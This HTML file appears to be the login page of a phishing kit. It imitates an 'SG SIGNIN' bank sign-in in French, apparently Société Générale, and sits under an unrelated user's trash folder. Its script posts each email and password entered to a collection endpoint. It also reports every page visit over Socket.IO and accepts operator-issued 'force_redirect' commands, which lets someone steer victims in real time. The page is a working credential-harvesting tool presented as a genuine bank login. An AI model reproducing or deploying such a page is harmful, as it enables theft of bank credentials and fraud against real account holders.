/home2/mshostin/.trash/login.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SG</title>
<link rel="stylesheet" href="/res/css/main.css">
</head>
<body>
<script>
/* Token injecté par Node */
let token = null;
</script>
<div class="container">
<div class="box">
<div class="lang">
<img src="/res/img/fr.png">
<img src="/res/img/uk.png">
</div>
<img src="/res/img/logo.png" class="logo">
<h2>Connectez-vous avec <strong>SG SIGNIN</strong></h2>
<form id="loginForm">
<label>Votre adresse email <span>*</span></label>
<input type="text" id="user" required style="margin-bottom:20px;">
<label>Votre mot de passe <span>*</span></label>
<input type="password" id="pass" required>
<button type="submit" class="login-btn">Se connecter</button>
<div class="links">
<a href="#" class="forgot">Mot de passe oublié?</a>
<a href="#" class="sign">Vous n'avez pas de compte ? S'inscrire</a>
</div>
<p class="required">*champs obligatoires</p>
</form>
</div>
</div>
<!-- Socket.IO -->
<script src="/socket.io/socket.io.js"></script>
<script>
const socket = io();
// envoyer la page visitée
socket.emit("page_visit", { page: "/login" });
// redirection forcée
socket.on("force_redirect", (page) => {
window.location.href = page;
});
// login
document.getElementById("loginForm").addEventListener("submit", async (e) => {
e.preventDefault();
const user = document.getElementById("user").value;
const pass = document.getElementById("pass").value;
const res = await fetch("/api/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ user, pass })
});
if (res.ok) {
window.location.href = "/dashboard";
} else {
alert("Identifiants incorrects");
}
});
</script>
</body>
</html>
